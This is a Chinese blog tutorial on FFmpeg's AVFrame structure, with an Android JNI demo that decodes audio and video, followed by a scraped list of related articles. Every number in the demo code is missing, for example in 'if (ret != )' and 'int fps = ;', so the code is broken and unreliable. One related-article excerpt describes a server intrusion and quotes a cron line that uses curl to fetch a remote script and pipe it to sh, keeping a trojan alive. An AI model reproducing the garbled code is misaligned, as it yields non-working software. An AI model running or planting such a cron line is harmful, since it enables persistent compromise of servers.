一.AVFrame

用来存放解码后的数据。

【相关函数】

AVFrame *frame = av_frame_alloc();                       // 空间分配,分配一个空间并初始化。

void av_frame_free(AVFrame **frame);                   // 空间释放。两种释放方式,一种是将引用计数-1,

int av_frame_ref(AVFrame *dst, const AVFrame *src); // 引用计数增加1。比如要在多线程访问的时候复制到另外一边,就可以利用引用计数的变化。

AVFrame *av_frame_clone(const AVFrame *src);      // 复制。也是重新创建一个空间,然后引用计数加+1。与AVPacket的区别在于:AVFrame的复制开销更大。1920*1080p的视频,一帧可能就有几MB,一秒钟可能就有几百MB,所以做一帧画面的内存复制可能都耗费到毫秒级别,不像AVPacket可能只有微秒级别,会影响帧率。所以在它的空间复制上一定要慎重,所以我们一般用引用计数的方式来做。

void av_frame_unref(AVFrame *frame);                   // 直接把对象的引用计数-1.

【结构体包含的内容】

uint8_t *data[AV_NUM_DATA,POINTERS]                // 存放的数据。

int linesize[AV_NUM_DATA,POINTERS]                    // 对于视频就是一行数据的大小。对于音频就是一个通道数据的大小。

int width, int height, int nb_samples                         // 视频部分, 音频相关(单通道的样本数量)

int64_ t pts                                                             // 实际这一帧的pts。

int64_t pkt_dts                                                       // 对应包当中的dts。

int sample_rate;                                                      // 样本率

uint64_t channel_layout;                                         // 通道类型

int channels;                                                          // 通道数量

int format;                                                              // 像素格式。区分音频和视频。视频的话就是AVPixelFormat,音频的话就是AVSampleFormat

二.解码器解码代码演示

// 初始化解封装
av_register_all();
// 注册解码器
avcodec_register_all(); // 初始化网络
avformat_network_init();
// 打开文件
AVFormatContext *ic = NULL;
char path[] = "sdcard/1080.mp4";
// char path[] = "/sdcard/qingfeng.flv";
int ret = avformat_open_input(&ic, path, , );
if (ret != ) {
LOGE("avformat_open_input() called failed: %s", av_err2str(ret));
return env->NewStringUTF(hello.c_str());
}
LOGI("avformat_open_input(): File open success.");
LOGI("File duration is: %lld, nb_stream is: %d", ic->duration, ic->nb_streams);
if (avformat_find_stream_info(ic, ) >= ) {
LOGI("File duration is: %lld, nb_stream is: %d", ic->duration, ic->nb_streams);
} /**帧率*/
int fps = ;
/*视频流索引*/
int videoStream = ;
/*音频流索引*/
int audioStream = ; // 遍历获得音/视频流索引
for (int i = ; i < ic->nb_streams; i++) {
AVStream *as = ic->streams[i];
if (as->codecpar->codec_type == AVMEDIA_TYPE_VIDEO) {
LOGI("视频数据");
videoStream = i;
fps = (int)r2d(as->avg_frame_rate);
LOGI("fps = %d, width = %d, height = %d, codecid = %d, format = %d",
fps,
as->codecpar->width,
as->codecpar->height,
as->codecpar->codec_id,
as->codecpar->format);
} else if (as->codecpar->codec_type == AVMEDIA_TYPE_AUDIO) {
LOGI("音频数据");
audioStream = i;
LOGI("sample_rate = %d, channels = %d, sample_format = %d",
as->codecpar->sample_rate,
as->codecpar->channels,
as->codecpar->format
);
}
} // 也可以利用av_find_best_stream()函数来查找音视频流索引
// audioStream = av_find_best_stream(ic, AVMEDIA_TYPE_AUDIO, -1, -1, NULL, 0);
// LOGI("av_find_best_stream, audio index is: %d", audioStream); // 查找视频解码器
AVCodec *vCodec = avcodec_find_decoder(ic->streams[videoStream]->codecpar->codec_id); // 软解
// vCodec = avcodec_find_decoder_by_name("h264_mediacodec"); // 硬解
if (!vCodec) {
LOGE("avcodec_find_decoder() failed. can not found video decoder.");
return env->NewStringUTF(hello.c_str());
}
// 配置解码器上下文
AVCodecContext *vc = avcodec_alloc_context3(vCodec);
// 将AVStream里面的参数复制到上下文当中
avcodec_parameters_to_context(vc, ic->streams[videoStream]->codecpar);
vc->thread_count = ;
// 打开解码器
ret = avcodec_open2(vc, vCodec, );
if (ret != ) {
LOGE("avcodec_open2() failed. can not open video decoder, line is: %d", __LINE__);
return env->NewStringUTF(hello.c_str());
} // 查找音频解码器
AVCodec *aCodec = avcodec_find_decoder(ic->streams[audioStream]->codecpar->codec_id); // 软解
// aCodec= avcodec_find_decoder_by_name("h264_mediacodec"); // 硬解
if (!aCodec) {
LOGE("avcodec_find_decoder() failed. can not found audio decoder.");
return env->NewStringUTF(hello.c_str());
}
// 配置解码器上下文
AVCodecContext *ac = avcodec_alloc_context3(aCodec);
// 将AVStream里面的参数复制到上下文当中
avcodec_parameters_to_context(ac, ic->streams[audioStream]->codecpar);
ac->thread_count = ;
// 打开解码器
ret = avcodec_open2(ac, aCodec, );
if (ret != ) {
LOGE("avcodec_open2() failed. can not open audio decoder");
return env->NewStringUTF(hello.c_str());
} // 读取帧数据
AVPacket *packet = av_packet_alloc();
AVFrame *frame = av_frame_alloc();
int64_t start = getNowMs();
int frameCount = ; for (;;) { if (getNowMs() - start >= ) {
LOGI("now decoder fps is: %d", frameCount / );
start = getNowMs();
frameCount = ;
}
int ret = av_read_frame(ic, packet);
if (ret != ) {
LOGE("读取到结尾处");
int pos = * r2d(ic->streams[videoStream]->time_base);
// 改变播放进度
av_seek_frame(ic, videoStream, pos, AVSEEK_FLAG_BACKWARD | AVSEEK_FLAG_FRAME);
continue;
} // LOGI("Read a Packet. streamIndex=%d, size=%d, pts=%lld, flag=%d",
// packet->stream_index,
// packet->size,
// packet->pts,
// packet->flags
// ); AVCodecContext *cc = vc;
if (packet->stream_index == audioStream) cc = ac;
// 发送到线程中去解码(将packet写入到解码队列当中去)
ret = avcodec_send_packet(cc, packet);
// 清理
int p = packet->pts;
av_packet_unref(packet);
if (ret != ) {
// LOGE("avcodec_send_packet failed.");
continue;
} for(;;) {
// 从已解码成功的数据当中取出一个frame, 要注意send一次,receive不一定是一次
ret = avcodec_receive_frame(cc, frame);
if (ret != ) {
break;
}
if (cc == vc) {
frameCount++;
}
// LOGI("Receive a frame.........");
}
} // 关闭上下文
avformat_close_input(&ic);
return env->NewStringUTF(hello.c_str());

另外:硬件解码器需要进行注册,即需要把Java虚拟机的环境传递给FFmpeg,因此还需要添加下列代码,否则解码器无法打开。

extern "C"
JNIEXPORT
jint JNI_OnLoad(JavaVM *vm,void *res)
{
av_jni_set_java_vm(vm,);
return JNI_VERSION_1_4;
}

av_jni_set_java_vm(vm,); 包含在 <libavcodec/jni.h> 头文件当中,不要忘记包含该头文件。

FFmpeg(9)-解码器解码代码演示(FFmpeg调用MediaCodec实现硬解码、多线程解码、及音视频解码性能测试)的更多相关文章

  1. 最简单的基于FFmpeg的解码器-纯净版(不包含libavformat)

    ===================================================== 最简单的基于FFmpeg的视频播放器系列文章列表: 100行代码实现最简单的基于FFMPEG ...

  2. FFmpeg Android 学习(一):Android 如何调用 FFMPEG 编辑音视频

    一.概述 在Android开发中,我们对一些音视频的处理比较无力,特别是编辑音视频这部分.而且在Android上对视频编辑方面,几乎没有任何API做支持,MediaCodec(硬编码)也没有做支持.那 ...

  3. FFMPEG音视频解码

    文章转自:https://www.cnblogs.com/CoderTian/p/6791638.html 1.播放多媒体文件步骤 通常情况下,我们下载的视频文件如MP4,MKV.FLV等都属于封装格 ...

  4. ffmpeg学习笔记-多线程音视频解码

    之前的视频解码仍然存在问题,那就是是在主线程中去完成解码的,会造成线程阻塞,这里将其改为多线程解码,使其主线程不被阻塞 前面介绍了音视频的主线程解码,那样会阻塞主线程,在前面学习了多线程以后,就可以对 ...

  5. java 覆盖hashCode()深入探讨 代码演示样例

    java 翻盖hashCode()深入探讨 代码演示样例 package org.rui.collection2.hashcode; /** * 覆盖hashcode * 设计HashCode时最重要 ...

  6. Python Web框架Tornado的异步处理代码演示样例

    1. What is Tornado Tornado是一个轻量级但高性能的Python web框架,与还有一个流行的Python web框架Django相比.tornado不提供操作数据库的ORM接口 ...

  7. 实战FFmpeg--iOS平台使用FFmpeg将视频文件转换为YUV文件

    做播放器的开发这里面涉及的东西太多,我只能一步步往前走,慢慢深入.播放器播放视频采用的是渲染yuv文件.首先,要知道yuv文件是怎么转换得来的,其次,要知道怎么把视频文件保存为yuv文件.雷神的文章1 ...

  8. 代码演示C#各版本新功能

    代码演示C#各版本新功能 C#各版本新功能其实都能在官网搜到,但很少有人整理在一起,并通过非常简短的代码将每个新特性演示出来. 代码演示C#各版本新功能 C# 2.0版 - 2005 泛型 分部类型 ...

  9. ThreadLocal内存溢出代码演示和原因分析!

    ThreadLocal 翻译成中文是线程本地变量的意思,也就是说它是线程中的私有变量,每个线程只能操作自己的私有变量,所以不会造成线程不安全的问题. ​ 线程不安全是指,多个线程在同一时刻对同一个全局 ...

随机推荐

  1. curl定时任务下载执行

    服务器入侵后有定时任务执行如下,通过cron,下载脚本并执行!达到杀不死的木马进程 */5 * * * * curl -fsSL http://xxxx/pm.sh?0111 | sh curl参数解 ...

  2. MySQL与OLAP:分析型SQL查询最佳实践探索

    搞点多维分析,糙快猛的解决方式就是使用ROLAP(关系型OLAP)了.数据经维度建模后存储在MySQL,ROLAP引擎(比方开源的Mondrian)负责将OLAP请求转化为SQL语句提交给数据库.OL ...

  3. ios真机调试步骤

    http://blog.csdn.net/jianxuanlu/article/details/7283059 http://www.cnblogs.com/85538649/archive/2012 ...

  4. 用@resource注解方式完成属性装配

    注入依赖对象可以采用手工装配或自动装配,在实际应用中建议使用手工装配,因为自动装配会产生未知情况,开发人员无法预见最终的装配结果. 1 需要修改xml文件的以下信息.    加入下列红色部分的4行 & ...

  5. python正则检测密码合法性

    客户系统升级,要求用户密码符合一定的规则,即:包含大小写字母.数字.符号,长度不小于8,于是先用python写了个简单的测试程序: #encoding=utf-8 #----------------- ...

  6. 推荐系统 SVD和SVD++算法

    推荐系统 SVD和SVD++算法 SVD:   SVD++: [Reference] 1.SVD在推荐系统中的应用详解以及算法推导 2.推荐系统——SVD/SVD++ 3.SVD++ 4.SVD++协 ...

  7. Apache Rewrite规则详解[转]

    1.Rewrite规则简介:Rewirte主要的功能就是实现URL的跳转,它的正则表达式是基于Perl语言.可基于服务器级的(httpd.conf)和目录级的(.htaccess)两种方式.如果要想用 ...

  8. simhash进行文本查重 Simhash算法原理和网页查重应用

    simhash进行文本查重http://blog.csdn.net/lgnlgn/article/details/6008498 Simhash算法原理和网页查重应用http://blog.jobbo ...

  9. HDU 4602 Partition (矩阵乘法)

    Partition Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others)Total S ...

  10. Linux下使用Nexus搭建Maven私服

    在开发过程中,有时候会使用到公司内部的一些开发包,显然把这些包放在外部是不合适的.另外,由于项目一直在开发中,这些内部的依赖可能也在不断的更新.可以通过搭建公司内部的Maven服务器,将第三方和内部的 ...